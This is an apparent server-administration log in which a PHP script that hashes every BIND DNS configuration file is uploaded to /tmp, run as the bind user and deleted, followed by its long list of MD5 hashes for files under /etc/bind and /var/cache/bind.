//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-13 14:08:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp141915; rm /tmp/pkp141915'

2026-05-13 14:08:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-13 14:08:31: Establishing a connection
2026-05-13 14:08:31: 

PUT: /tmp/pkp224514

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-13 14:08:31: 

runuser -l bind -s /bin/bash -c '/tmp/pkp224514; rm /tmp/pkp224514'

2026-05-13 14:08:31: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
